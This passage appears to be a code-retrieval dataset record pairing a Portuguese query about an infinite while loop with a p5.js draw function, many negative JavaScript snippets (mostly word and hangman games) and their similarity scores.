losses;\\n\\n // Display how much of the word we've already guessed on screen.\\n var guessWordText = \\\"\\\";\\n for (var i = 0; i < guessWord.length; i++) {\\n guessWordText += guessWord[i];\\n }\\n\\n //\\n document.getElementById(\\\"currentWord\\\").innerText = guessWordText;\\n document.getElementById(\\\"lifePoints\\\").innerText = lifePoints;\\n document.getElementById(\\\"guessedLetters\\\").innerText = guessedLetters;\\n}\",\n \"displayLetters() {\\r\\n let wordHidden = \\\"\\\\n\\\";\\r\\n for (let i = 0; i < this.text.length; i++) {\\r\\n if (this.lettersToGuess.includes(this.text.charAt(i))) {\\r\\n wordHidden += HangmanUtils.symbol;\\r\\n }\\r\\n else {\\r\\n wordHidden += this.text.charAt(i);\\r\\n }\\r\\n wordHidden += \\\" \\\";\\r\\n }\\r\\n console.log(wordHidden);\\r\\n }\",\n \"function displayGame() {\\n getAnimal();\\n animalType.innerHTML = gameAnimalType;\\n animalToGuess.innerHTML = handleGameWord(gameAnimalExample);\\n document.getElementById(\\\"guess\\\").focus();\\n document.getElementById(\\\"guess\\\").select();\\n wordWrapper.classList.remove(\\\"vis-hidden\\\");\\n }\",\n \"function newGame() {\\n gameStart = true\\n clearOut();\\n ransomdomize();\\n createSpan();\\n \\n //console.log(chosenWord); //CHEAT -- GET THE ANSWERS IN CONCOLE\\n \\n}\",\n \"function clock() {\\n timeElapsed = timeElapsed + letterTime;\\n if (!flipped) {\\n lettersShow = lettersShow + 1;\\n flipped = (lettersShow >= currentWord.length)\\n }else{\\n if ( ((wordTime - timeElapsed)/letterTime) < currentWord.length ) {\\n lettersShow = lettersShow - 1;\\n \\n if (lettersShow == 0) {\\n flipped = false;\\n timeElapsed = 0;\\n changeWord();\\n }\\n }\\n }\\n\\n $('#anim-text').text(function(i,t) {\\n return currentWord.substr(0,lettersShow);\\n })\\n }\",\n \"function printToPage(randomWord) {\\n myWord = randomWord.word;\\n // concatenate array to Str for printing on one line\\n var myStr = '';\\n console.log(myWord);\\n for (var i = 0; i < myWord.length; i++){\\n if (correctGuesses.includes(myWord[i])) {\\n myStr += (\\\" \\\" + myWord[i] + \\\" \\\");\\n }\\n else {\\n myStr += (\\\" _ \\\");\\n }\\n };\\n console.log('\\\\n' + myStr + '\\\\n');\\n if (correctGuesses.length == myWord.length) {\\n console.log(\\\"GG bro\\\");\\n }\\n else {\\n promptUser();\\n };\\n \\n}\",\n \"function draw() {\\n if (lives <= 0) {\\n ctx.clearRect(0, 0, canvas.width, canvas.height);\\n ctx.font = \\\"60px Arial\\\";\\n ctx.fillStyle = \\\"red\\\";\\n ctx.fillText(\\\"Game Over\\\", position, canvas.height / 2);\\n return;\\n }\\n\\n /* user type in the word that is being display */\\n\\n let typeWord = wordInput.value.toLowerCase();\\n ctx.clearRect(0, 0, 400, 400);\\n movingBackground();\\n wordFalls();\\n score();\\n lifeLine();\\n if (typeWord === wordArr[randomIndex]) {\\n projectile();\\n }\\n window.requestAnimationFrame(draw);\\n }\",\n \"function renderGame() {\\n // If there are still more words in the array, set the display and write it to the page\\n if (currentIndex <= (secretWords.length - 1)) {\\n secretWord = secretWords[currentIndex];\\n display = repeatChar(secretWord.length, '_');\\n tries = 0;\\n document.querySelector(\\\"#progress\\\").innerHTML = \\\"Guess the bread: \\\" + display;\\n document.querySelector(\\\"#wins\\\").innerHTML = \\\"Total Wins: \\\" + wins;\\n }\\n // If the supply of breads has been exhausted, render the end game screen.\\n else {\\n document.querySelector(\\\"#progress\\\").innerHTML = \\\"Game Over!\\\";\\n document.querySelector(\\\"#results\\\").innerHTML = \\\"Refresh the page to play again.\\\";\\n document.querySelector(\\\"#wins\\\").innerHTML = \\\"Total Wins: \\\" + wins;\\n }\\n}\",\n \"function showWord(words){\\n\\n //Generate randow array index\\n const randIndex = Math.floor(Math.random() *words.length);\\n //Output random word\\n currentWord.innerHTML=words[randIndex];\\n}\",\n \"function game() {\\n //hide words\\n //$(\\\".fiveWords\\\").hide(); //removed because the letters need to show when new game starts\\n \\n //move words --alec\\n myMove(\\\"1\\\");\\n myMove(\\\"2\\\");\\n myMove(\\\"3\\\");\\n myMove(\\\"4\\\");\\n myMove(\\\"5\\\");\\n \\n}\",\n \"function displayEndScreen() {\\n //display image\\n image(imgEndScreen, 0, 0, windowWidth, windowWidth * 0.4);\\n //Set text size in push-pop\\n push();\\n textSize(19);\\n //If player hits zero kids, display this\\n if (player.sentence === 0) {\\n text(\\\"It took you only \\\" + player.timeSpent + \\\" hours and you did it \\\\nwithout bumping into children! \\\\nAmazing job, Hieronymous! Back to \\\\nloitering!\\\", 0 + windowWidth / 20, windowWidth / 5);\\n //If player hits less than three kids, display this\\n } else if (player.sentence < 107) {\\n text(\\\"It took you only \\\" + player.timeSpent + \\\" hours \\\\nand you only added \\\" + player.sentence + \\\" days \\\\n to your community service!\\\", 0 + windowWidth / 20, windowWidth / 5);\\n } else {\\n //otherwise, display this message\\n text(\\\"It took you \\\" + player.timeSpent + \\\" hours... \\\\n...but holy crap Hieronymous you added \\\" + player.sentence + \\\" days \\\\nto your community service. Embarrassing.\\\", 0 + windowWidth / 20, windowWidth / 5);\\n }\\n pop();\\n\\n}\",\n \"function drawGame(word, letters) {\\n document.querySelector('#display-status').innerHTML = displayStatus(word, letters);\\n document.querySelector('#letter-slots').innerHTML = letterSlots(word, letters);\\n document.querySelector('#keyboard').innerHTML = keyboard(letters);\\n}\",\n \"function showNewWord(){\\n// document.getElementById(\\\"wordToType\\\").innerHTML=\\\" \\\";\\n $(\\\"#wordBox\\\").val(\\\"\\\");\\n// $(\\\"#wordToType\\\").html(words[index][0]);\\n if (words.length === alreadyUsed.length){\\n endGame();\\n }\\n console.log(\\\"choosing word\\\");\\n chooseWord();\\n document.getElementById(\\\"wordToType\\\").innerHTML= words[index][0];\\n\\n }\",\n \"function startGame(){\\r\\n\\t \\r\\n\\t let dumDumDum = [];\\r\\n\\t for( iii=0; iii < randomWord.length ; iii++){\\t\\t\\t\\r\\n\\t\\t\\tdumDumDum.push(\\\"_\\\");\\r\\n\\t } \\r\\n\\t// Change the game textcontents to starting values\\r\\n\\tdocument.querySelector(\\\".the_word\\\").innerHTML =\\\"The word: \\\"+dumDumDum+\\\" \\\";\\r\\n\\tdocument.querySelector(\\\".guesses\\\").innerHTML =\\\"Guesses: \\\";\\r\\n\\tdocument.querySelector(\\\".guesses_left\\\").innerHTML =\\\"Wrong guesses left: \\\"+livesLeft+\\\" \\\"; \\t \\r\\n }\",\n \"drawSecretWord() {\\n ctx.clearRect(0,canvas.height-40,canvas.width,40)\\n GAME.secretWord.includes(PLAYER.guess) ? PLAYER.guessStatus = true : PLAYER.guessStatus = false\\n for (let i = 0; i < GAME.secretWord.length; i++) {\\n const element = GAME.secretWord[i];\\n if(str_replace(from,to,element) === PLAYER.guess) {\\n PLAYER.guessStatus = true\\n GAME.answerArray[i] = element\\n }\\n let x = (canvas.width - ((GAME.secretWord.length * 24) + ((GAME.secretWord.length - 1) * 4))) + (i * (24 + 4))\\n ctx.beginPath()\\n ctx.font = \\\"32px calibri\\\"\\n ctx.fillText(GAME.answerArray[i], x, canvas.height - 6)\\n ctx.closePath()\\n }\\n }\",\n \"function displayGameOver() {\\n push();\\n textAlign(CENTER,CENTER);\\n textSize(60);\\n fill(0,0,0);\\n stroke(255,0,0);\\n textFont(fontGame);\\n text(\\\"Your artistic experience is terminated \\\\n sorry Warhol \\\\n \\\\n REFRESH to play again :)\\\",width/2,height/2);\\n pop();\\n}\",\n \"function startGame() {\\n // Randomly selecting a word from our array\\n wordUsedForGame = hangManWordChoices[Math.floor(Math.random() * hangManWordChoices.length)];\\n // creating a new word object with the random word\\n wordConstructed = new Word(wordUsedForGame);\\n // calling the renderWord function to push the letters into the word\\n wordConstructed.renderWord();\\n\\n console.log(\\\"\\\\n\\\");\\n console.log(\\\"Guess The Word. You have 7 chances to get it Right!!!\\\");\\n console.log(\\\" Hint: The Words are computer Languages \\\\n\\\");\\n\\n // Displaying the dashes based on the word selected using the Word display function \\n // they will be dashes because the guessed is set to false\\n console.log(wordConstructed.display());\\n console.log(\\\"\\\\n\\\");\\n\\n // calling askLetters to run the game\\n askLetters();\\n\\n\\n}\",\n \"function startGame() {\\n wrongGuesses = ' ';\\n allGuesses = \\\"\\\";\\n currentDisplay = [];\\n //Randomly selects a word from the array wordList\\n wordString = (wordList[Math.floor(Math.random() * wordList.length)]).toUpperCase(); \\n // Put the selected word into an array\\n word = wordString.split(''); \\n guessRemain = wordString.length; \\n for (var i = 0; i < guessRemain; i++){\\n currentDisplay[i] = \\\"_\\\"; \\n //displays the game\\n }\\n displayGame(); \\n }\",\n \"function startGame() {\\n renderNewWord();\\n startBar();\\n }\",\n \"function wordplay() {\\n librarycall()\\n play = new Word(choice);\\n plays = 10\\n alphaArr = [\\\"a\\\", \\\"b\\\", \\\"c\\\", \\\"d\\\", \\\"e\\\", \\\"f\\\", \\\"g\\\", \\\"h\\\", \\\"i\\\", \\\"j\\\", \\\"k\\\", \\\"l\\\", \\\"m\\\", \\\"n\\\", \\\"o\\\", \\\"p\\\", \\\"q\\\", \\\"r\\\", \\\"s\\\", \\\"t\\\", \\\"u\\\", \\\"v\\\", \\\"w\\\", \\\"x\\\", \\\"y\\\", \\\"z\\\"]\\n omegaArr = []\\n console.log(play.fullDisplay());\\n console.log(\\\"Tries left = \\\" + plays);\\n testletter()\\n}\",\n \"function stepWord() {\\n word++;\\n syllable = 0;\\n process.stdout.write(\\\" \\\");\\n}\",\n \"function start()\\n{\\ndocument.getElementById(\\\"two\\\").style.marginTop=\\\"20%\\\";\\n\\nvar x = Math.floor((Math.random() * 25) + 1); // to display the fist word and this word will change after every 3 second...\\n\\ndocument.getElementById(\\\"two\\\").innerHTML =obj.spellings[x].word;\\n\\nsetInterval(function() {game()},4000); // changing word after every 3 se....\\n}\",\n \"function endLose(word) {\\n console.log(\\\"You lose. The word was:\\\");\\n showWord(word);\\n}\",\n \"function draw() {\\n\\n noStroke();\\n fill(255);\\n var extraSpace = 0;//The words have its own length , so it needs to be offset to the right \\n // i MEANS THE FIRST LETTER OF THE sentence \\n\\n for (let i = 0; i < words.length; i++) {\\n // appearing over time...\\n //note that canvas Is loading 60 times per second which means if the first letter is 1 then when francount reaches and goes beyond 1*100 the first word get pirnted \\n\\n if (frameCount > i * 100) {\\n var wordMarginLeft = 30 * i; //The distance of each word is 30 // letters got print with the distance of 30 \\n \\n if (i > 0) {\\n extraSpace = extraSpace + words[i - 1].length * 13; //we need to add extra space in letters and it's caculated by the length of the letters\\n }\\n fill(255);\\n text(words[i], wordMarginLeft + extraSpace, 20);\\n }\\n }\\n \\n \\n}\",\n \"function drawHangman() {\\n}\",\n \"function updateDisplay() {\\n document.getElementById(\\\"totalWins\\\").innerText = wins;\\n document.getElementById(\\\"currentWord\\\").innerText = \\\"\\\";\\n\\n for (let i = 0; i < guessingWord.length; i++) {\\n document.getElementById(\\\"currentWord\\\").innerText += guessingWord[i];\\n }\\n document.getElementById(\\\"remainingGuesses\\\").innerText = remainingGuesses;\\n document.getElementById(\\\"guessedLetters\\\").innerText = guessedLetters;\\n if (remainingGuesses <= 0) {\\n document.getElementById(\\\"gameover-image\\\").style.cssText = \\\"display: block\\\";\\n document.getElementById(\\\"pressKeyTryAgain\\\").style.cssText =\\n \\\"display: block\\\";\\n hasFinished = true;\\n }\\n}\",\n \"function gameStart() {\\n resetCounters();\\n generateRandomWord();\\n hideTheWord(); \\n document.getElementById(\\\"guesses\\\").innerHTML = guessesLeft;\\n // Make variable to track letters to be guessed\\n var lettersLeft = randWord.length;\\n console.log(randWord);\\n\\n setupKeyLogging();\\n \\n document.getElementById(\\\"wins\\\").innerHTML = wins;\\n \\n \\n\\n\\n removeHandler(); \\n}\",\n \"function writeWord(){\\n var letterOrDash = \\\"\\\";\\n var allLettersGuessed = true;\\n\\n for(var i=0; i `\\n \\n ${correctLetters.includes(letter) ? letter : '' }\\n \\n `\\n )\\n .join('')\\n }\\n `;\\n // TO check -> console.log(word.innerText);\\n // To chack -> console.log(wordText);\\n const wordText = word.innerText.replace(/\\\\n/g, '');\\n if(wordText === selectedWord) {\\n message.innerText = 'You Won!';\\n popup.style.display = 'flex';\\n }\\n}\",\n \"function renderEndGameText() {\\n gameBackground.zIndex = 45;\\n sortZindex(gameScreen);\\n longBoard.visible = true;\\n endText.visible = true;\\n endText.speed = END_TEXT_SPEED;\\n endGameSelected = true;\\n}\",\n \"function displayWord() {\\n wordElement.innerHTML = \\n `${selectedWord\\n .split('')\\n .map(letter =>\\n `\\n ${correctLetters.includes(letter) ? letter : ''}\\n `\\n ).join('')}`;\\n \\n //console.log(wordElement.innerText);\\n \\n //Remove New Line Character \\n const innerWord = wordElement.innerText.replace(/\\\\n/g, '')\\n //console.log(innerWord); \\n\\n if (innerWord === selectedWord) {\\n finalMessage.innerText = 'You Won!';\\n popUp.style.display = 'flex';\\n }\\n}\",\n \"function displayWord(array){\\n word = array[Math.floor(Math.random() * array.length)];\\n var display = document.getElementById(\\\"display\\\");\\n display.innerText = word;\\n}\",\n \"function gameOver() {\\n background(0);\\n fill(255, 0, 0);\\n textFont(myFont, 80);\\n textAlign(CENTER);\\n text(\\\"LOSER\\\", 400, 200);\\n textSize(32);\\n text(\\\"HAVING DRANK ALL THE WATER, OR ATTEMPTED TO SHARE IT,\\\", 400, 270);\\n text(\\\"YOU HAVE DONE THE WRONG THING!\\\", 400, 285);\\n text(\\\"THE DUTIFUL THING WOULD HAVE BEEN TO GIVE IT\\\", 400, 300);\\n text(\\\" TO THE DYING PERSON FIRST.\\\", 400, 315);\\n text(\\\"BETTER LUCK NEXT TIME.\\\", 400, 330);\\n textSize(40);\\n text(\\\"REFRESH THE PAGE TO PLAY AGAIN\\\", 400, 485);\\n}\",\n \"startGame() {\\r\\n $(\\\"#overlay\\\").hide();\\r\\n this.activePhrase = this.getRandomPhrase();\\r\\n this.activePhrase.addPhraseToDisplay();\\r\\n }\",\n \"function showTheWord() {\\n // get random word then store it in the global var theWord\\n theWord = getRandomWord().split(''); // make it into array\\n\\n // place underscore referencing the number of letters\\n for (var i = 0; i < theWord.length; i++) {\\n $(\\\"#letterHolder\\\").append($(\\\"_\\\"));\\n }\\n }\",\n \"function showGameOver() {\\n gameSound.pause();\\n textSize(60);\\n textAlign(CENTER,CENTER);\\n fill(243,231,45);\\n var gameOverText = \\\"GAME OVER\\\\n\\\";\\n gameOverText += \\\"You caught \\\" + snitchEaten + \\\" snitch\\\\n\\\";\\n gameOverText += \\\"before you died.\\\"\\n text(gameOverText,width/2,height/2);\\n}\",\n \"function startGame()\\n{\\n\\t//selects random word\\n\\ttargetWord = wordBank[Math.floor(Math.random()* wordBank.length)];\\n\\ttargetWordArray = targetWord.split(\\\"\\\");\\n\\t//transforms word to an array of dashes\\n\\tfor(i=0; i=10) {\\n wordz+=\\\"\\\\n YOU WIN\\\";\\n\\n} else {\\n wordz+=\\\"\\\\n YOU LOSE\\\";\\n}\\n words = wordz;\\n}\",\n \"function newWord(){\\n var wordBank = [\\\"susie\\\", \\\"transmogrifier\\\", \\\"spacemanspiff\\\",\\\"gross\\\", \\\"calvinball\\\", \\\"stupendousman\\\", \\\"tracerbullet\\\", \\\"toboggan\\\", \\\"duplicator\\\", \\\"misswormwood\\\", \\\"hamsterhuey\\\", \\\"gooeykablooie\\\"];\\n console.log(wordIndex)\\n console.log(wordBank.length)\\n if(wordIndex >= wordBank.length){\\n //changed message board background color to blue\\n document.getElementById(\\\"message-board\\\").style.backgroundColor = \\\"#3dbaec\\\"\\n updateField(\\\"message-text\\\", \\\"Aww shucks, we're all out of words
You got \\\"+wins+\\\" out of \\\"+wordBank.length+\\\" right!\\\");\\n return;\\n }\\n currentWord=wordBank[wordIndex];\\n wordDisplay.innerHTML = createDisplay(currentWord);\\n //changed message board background color to blue\\n document.getElementById(\\\"message-board\\\").style.backgroundColor = \\\"#3dbaec\\\"\\n //upddate message board\\n updateField(\\\"message-text\\\", \\\"Next Word!\\\")\\n //resetting parameters\\n guessedArray = [\\\"\\\"];\\n updateLettersGuessedField();\\n guessesLeft = 6\\n updateField(\\\"guesses-left\\\",guessesLeft);\\n lettersCorrect = 0;\\n //reset stopGame\\n stopGame = false; \\n}\",\n \"function wordGame(){\\n\\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\\n \\n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\\n \\n letters=[\\\"A\\\",\\\"B\\\",\\\"C\\\",\\\"D\\\",\\\"E\\\",\\\"F\\\",\\\"G\\\",\\\"H\\\",\\\"I\\\",\\\"J\\\",\\\"K\\\",\\\"L\\\",\\\"M\\\",\\\"N\\\",\\\"Ñ\\\",\\\"O\\\",\\\"P\\\",\\\"Q\\\",\\\"R\\\",\\\"S\\\",\\\"T\\\",\\\"U\\\",\\\"V\\\",\\\"W\\\",\\\"X\\\",\\\"Y\\\",\\\"Z\\\"]\\n\\n for(let i=0;i';\\n document.getElementById(\\\"letter\\\" + i).innerHTML = \\\"_ \\\";\\n }\\n return randomWord;\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.735485","0.7281575","0.72742707","0.7265616","0.7172165","0.7069368","0.70655465","0.70403314","0.7035831","0.70275617","0.7018534","0.69981015","0.69899875","0.697977","0.69433796","0.6937526","0.6928103","0.6922864","0.69144416","0.6908628","0.6903575","0.6901666","0.68898153","0.68832606","0.68733126","0.6861113","0.6852572","0.6834979","0.6834087","0.6833765","0.6826422","0.68052906","0.68024933","0.6799191","0.67861027","0.6775891","0.67629296","0.6755508","0.6754186","0.6751982","0.67414206","0.67362714","0.673457","0.6723202","0.6716667","0.67103976","0.6705182","0.66994","0.6698914","0.6689129","0.66857684","0.6685386","0.6683297","0.6676819","0.667315","0.66730005","0.6659709","0.6650039","0.66466266","0.6637581","0.6634507","0.66265446","0.66251063","0.6612768","0.66101176","0.66087776","0.66068274","0.6602084","0.65974504","0.6594455","0.65825164","0.6578371","0.65782714","0.65733844","0.6572039","0.65711343","0.6570692","0.65695727","0.656581","0.6565796","0.6553978","0.65452373","0.65439034","0.65426886","0.65384567","0.6532182","0.6526582","0.65257335","0.6515874","0.65133","0.65033925","0.6503321","0.64992535","0.64943904","0.64875805","0.6487421","0.6485651","0.6470109","0.64676327","0.6467127"],"string":"[\n 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\"0.66466266\",\n \"0.6637581\",\n \"0.6634507\",\n \"0.66265446\",\n \"0.66251063\",\n \"0.6612768\",\n \"0.66101176\",\n \"0.66087776\",\n \"0.66068274\",\n \"0.6602084\",\n \"0.65974504\",\n \"0.6594455\",\n \"0.65825164\",\n \"0.6578371\",\n \"0.65782714\",\n \"0.65733844\",\n \"0.6572039\",\n \"0.65711343\",\n \"0.6570692\",\n \"0.65695727\",\n \"0.656581\",\n \"0.6565796\",\n \"0.6553978\",\n \"0.65452373\",\n \"0.65439034\",\n \"0.65426886\",\n \"0.65384567\",\n \"0.6532182\",\n \"0.6526582\",\n \"0.65257335\",\n \"0.6515874\",\n \"0.65133\",\n \"0.65033925\",\n \"0.6503321\",\n \"0.64992535\",\n \"0.64943904\",\n \"0.64875805\",\n \"0.6487421\",\n \"0.6485651\",\n \"0.6470109\",\n \"0.64676327\",\n \"0.6467127\"\n]"},"document_score":{"kind":"string","value":"0.6786421"},"document_rank":{"kind":"string","value":"34"}}},{"rowIdx":13,"cells":{"query":{"kind":"string","value":"Desenha LOOP Infinito while (1)"},"document":{"kind":"string","value":"function draw() {\n background(0,0,0);\n vitorioso();\n if(!(placarPlayerUm >= 10 || placarPlayerDois >=10)){\n jogo();\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function loopInfinito() {\n while (true) { }\n}","function loop() {\r\n}","function loop() {\r\n // if (is_loop) {\r\n setTimeout(manage_loop, manager.interval);\r\n // is_loop = false;\r\n // }\r\n }","function cambiarEstiloAuto() {\n let contador = 0;\n while(contador < 10){\n cambiarEstilo();\n contador++;\n }\n}","loop() {}","loop() {}","function infinteLoop() {\n while (true) {\n }\n}","function executarLooping() {\n moverFundo()\n moverHelicopteroInimigo()\n moverCaminhao()\n moverJogador()\n moverAliado()\n detectarColisoes()\n mostrarPlacar()\n atualizarEnergia()\n}","function infiniteLoop() {\n while (true) {\n console.log('loop');\n }\n }","function jogar(){\r\n //o jogo continuará até que alguém destrua completamente os navios do adversário\r\n //testa após cada jogada se o número de pontos foi atingido\r\n while (true){\r\n jogadorJoga();\r\n console.log(\"O computador tem \"+naviosComputador);\r\n if (pontosJogador == naviosComputador){\r\n console.log(nome+\" ganhou! Parabéns!\");\r\n break;\r\n }\r\n else {\r\n computadorJoga();\r\n if (pontosComputador == naviosJogador){\r\n console.log(\"Computador ganhou! Tente novamente, \"+nome);\r\n break;\r\n }\r\n };\r\n }\r\n}","function loop() {\n moveFundo();\n moveJogador();\n moveInimigo1();\n moveInimigo2();\n moveInimigo3();\n moveInimigo4();\n moveEstrela();\n colisao();\n placar();\n energia();\n }","noLoop() {\r\n\t\t\tthis.looping = false;\r\n\t\t}","function startLoop(){\n\n // console.log('[LOOP]');\n\n INGAME = true;\n\n // cancel on late-join\n loop.stop();\n\n loop.resume();\n}","function startLoop(){\n\n // console.log('[LOOP]');\n\n INGAME = true;\n\n // cancel on late-join\n loop.stop();\n\n loop.resume();\n}","function cambio(){\n\n\t// for(var i=0; i<10; i++){\n\t// \tconsole.debug('hola '+i);\n\t// }\n\tvar i=0;\n\twhile(i<10){\n\t\tconsole.debug('hola '+i);\n\t\ti++;\n\t}\n}","function contadorWhile1() {\n // Cria o contador (fora do while)\n let contador = 1;\n\n // Enquanto o valor (contador) for menor que 5\n while (contador <= 5) {\n\n // Mostra o valor na tela\n document.querySelector('#contadorW1').innerHTML += contador + \", \";\n\n // Incrementa o contador (dentro do bloco)\n contador++;\n // contador = contador + 1;\n // contador += 1;\n }\n}","function whileLoop(n){\nwhile ( 0 < n ){\n console.log(--n);\n}\nif (n <= 1 ){\nreturn 'done';\n }\n}","function cicloWhile() {\n\n while (confirm(\"Desea Continuar?\")) {\n alert(\"THis is a cycle while\")\n }\n}","function startLoop() {\n\tisrunnning = true;\n}","function doWhileLoop(x)\n{\n x--;\n do \n {\n console.log(\"I run once regardless\");\n } while(x-- > 0);\n}","function infiniteLoop() {\r\n while (true) {\r\n }\r\n}","function main(){\r\n\tcur_t = 0\r\n\tkill_step = poisson(kill_step);\r\n\tcount_step = 0;\r\n\t//do {\r\n\tvar times = setInterval(function(){\r\n\t\tif (cur_t == steps) clearInterval(times);\r\n\r\n\t\tvar temp = couple_logistic_possison(pop, params, steps);\r\n\t\tif (count_step == kill_step){\r\n\t\t\tcata(kill_percentage, pop);\r\n\t\t\tkill_step = poisson(kill_step);\r\n\t\t\tcount_step = 0;\r\n\t\t}\r\n\r\n\t\tshow_graphics(temp);\r\n\r\n\t\tcur_t += 1;\r\n\t\tcount_step += 1;\r\n\t\treturn temp;\r\n\t\t}, 35);\r\n\t//} while (cur_t < steps)\t\r\n}","function mainLoop( ) {\n\n\n let segundos = 5;\n let tiempo = segundos * 1000;\n\n\n console.log('Intervalo de '+ segundos );\n console.log('Perioodo: ');\n\n\n REALTIME.actualizarREALTIME( );\n\n setInterval((tiempo) => {\n console.log('-------------------------------------------------------');\n console.log('Intervalo de REALTIME '+ segundos );\n console.log('PERIODO');\n REALTIME.actualizarREALTIME( );\n }, tiempo )\n\n}","function loopForever() {\n while (true) { }\n}","function checkLoop() {\n if (config.loopState) {\n loop();\n } else {\n noLoop();\n }\n }","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function contadorWhile2() {\n // Cria o contador (fora do while)\n let contador = 1;\n\n // Guarda o número informado na tela\n const numeroInformado = document.querySelector('#numInformadoW2').value;\n\n // Enquanto o contador for menor que o número informado na tela\n while (contador <= numeroInformado) {\n // Mostra o valor na tela\n document.querySelector('#contadorW2').innerHTML += contador + \", \";\n\n // Incrementa o contador (dentro do bloco)\n contador++;\n }\n}","function loopDetect() {\n \n}","loop() {\n let stop = false;\n while (!stop) {\n //Creates a thread for every single agent\n Object.values(this.agents).forEach(agent => {\n if (!this.problem.goalTest(this.data)) {\n // aqui el agente recibe las persepciones\n agent.receive(this.problem.perceptionForAgent(this.getData(), agent.getID()));\n //guarda el accion\n let action = agent.send();\n this.actions.push({ agentID: agent.getID(), action });\n //actuliza el problema\n this.problem.update(this.data, action, agent.getID());\n //mira si termino el problema\n if (this.problem.goalTest(this.data)) {\n stop = true;\n } else {\n if (this.callbacks.onTurn)\n //es un callback que muestra la posicion en la que esta callbacks\n this.callbacks.onTurn({ actions: this.getActions(), data: this.data });\n }\n }\n });\n }\n this.finishAll();\n }","function hello(){\n\nlet angka = 1;\nwhile(angka <= 5){\nconsole.log(\"hai\" + \" \" + angka + \"x\");\nangka++;\n }\n}","function generalLoop(){\r\n\r\n\tif ((new Date()).getTime() - timeObj < 3 ) {\t\t\r\n\t\treturn;\t\t\r\n\t}//fi\r\n\tif (currentState == 3) {\r\n\t\tupdateDisplay();\r\n\t\ttimeObj = (new Date()).getTime();\r\n\t}//fi\r\n\r\n\t\r\n\r\n}//end listener\t","function intWhile (){\n var i = 2000;\n while (i <= 5280){\n console.log(i);\n i++;\n }\n}","function PrintI(){\n var num = 2000;\n while(num < 5281){\n console.log(num);\n num++;\n }\n}","function loops6 () {\n console.log('#6 Logging 1 to 1000 with a do...while loop: ');\n var i = 1;\n do {\n console.log(i);\n i++;\n } while (i < 1001);\n}","function testWhileLoop() {\n var counter = 0;\n while (counter <= 10) {\n console.log(counter);\n counter++;\n }\n}","function devilLoop(){\n GMvariables.devil = setInterval(() => {\n changePositionOfElement()\n if(GMvariables.live<1){\n deviElementHide();\n clearInterval(GMvariables.devil);\n }\n }, GMvariables.interval);\n // console.log(\"from loop = \" + interval);\n}","function get_data_loop()\r\n{\r\n if(!ansvers){\r\n \tget_data();\r\n \tansvers = 1;\r\n }\r\n \tsetTimeout(\"get_data_loop()\",10000);\r\n}","function infiniteLoop() {\n while (true) { }\n}","function whileLoop(x)\n{\n while (x>0)\n {\n console.log(x--);\n }\n \n return \"done\";\n}","function a2() {\n let i = 9; // Variablen-Initialisierung. Name i, Typ number, Wert 9.\n do { /* do-while-Schleife --> Wird auf jeden Fall einmal die Anweisungen im Rumpf ausführen,\n bevor die Bediengung auf true überprüft wird und den Rumpf weiter ausführt und dies dann genau so lange, bis die Bediengung false wird. */\n console.log(i); // Konsolenausgabe der lokalen Variable i.\n i = i - 1; // Der Variablen i wird ein neuer Wert zugewiesen: Und zwar ihr eigener minus Eins.\n } while (i > 0); // Schleifenbedingung: \"Solange die Variable i größer als 0 ist, dann führe die Anweisungen im Rumpf aus.\"\n}","function loop() {\n if (!avatar.dead) {\n //obtener propiedades de elementos\n bcr.getBCR(playground, adventurer, ip, life);\n //aumentar distancia e imprimirla\n distCounter++;\n printDist(distCounter, previousDistance, dist);\n //salto personaje\n avatar.jumping(joystick, adventurer);\n //controlar que no pase del piso\n avatar.checkFloor(bcr.plgrBCR, groundHeight, adventurer);\n adventurer.style.top = avatar.y + \"px\";\n //chequear colisiones\n\n if (avatar.collision(bcr.advtBCR, bcr.impBCR)) {\n if (avatar.life > 0) {\n avatar.hurt(life);\n //console.log(avatar.life);\n myID = requestAnimationFrame(loop);\n } else {\n avatar.death(adventurer);\n ip.style.animationIterationCount = \"1\";\n if (distCounter > previousDistance) {\n previousDistance = distCounter;\n }\n front.style.background=\"url('../img/end.png')\";\n inicio.style.display = \"inline\";\n setTimeout(() => {\n front.style.display=\"inline\";\n }, 2000);\n cancelAnimationFrame(myID);\n }\n } else {\n if (bcr.impBCR.left < 145) {\n speed *= 0.99;\n ip.style.animation = \"anRB 0.8s steps(8) infinite, anR 4s steps(400) infinite\";\n }\n myID = requestAnimationFrame(loop);\n }\n }\n }","function loops4 () {\n console.log('#5 Logging 1 to 1000 with a while loop: ');\n var i = 1;\n while (i < 1001) {\n console.log(i);\n i++;\n }\n}","function loop() {\n if( DateForCycle.getTime() < beginTime ) {\n\n \n bigDay ^= true;\n setDate(DateForCycle, function(){\n commit(function() {\n if(bigDay) {\n commit(setNextDay);\n } else {\n setNextDay();\n\n }\n })\n });\n } else {\n exec('git remote add origin '+rep+' && git push -u origin master -f', function(){\n });\n\n }\n }","function whileDemo([n]) {\r\n let health = 100;\r\n while (health > 0) { // its not depend on counter\r\n \r\n // walk\r\n // take damage\r\n // headshot\r\n }\r\n}","_setupLoop () {\n this._time = 0\n this._loop()\n }","function startLoop() 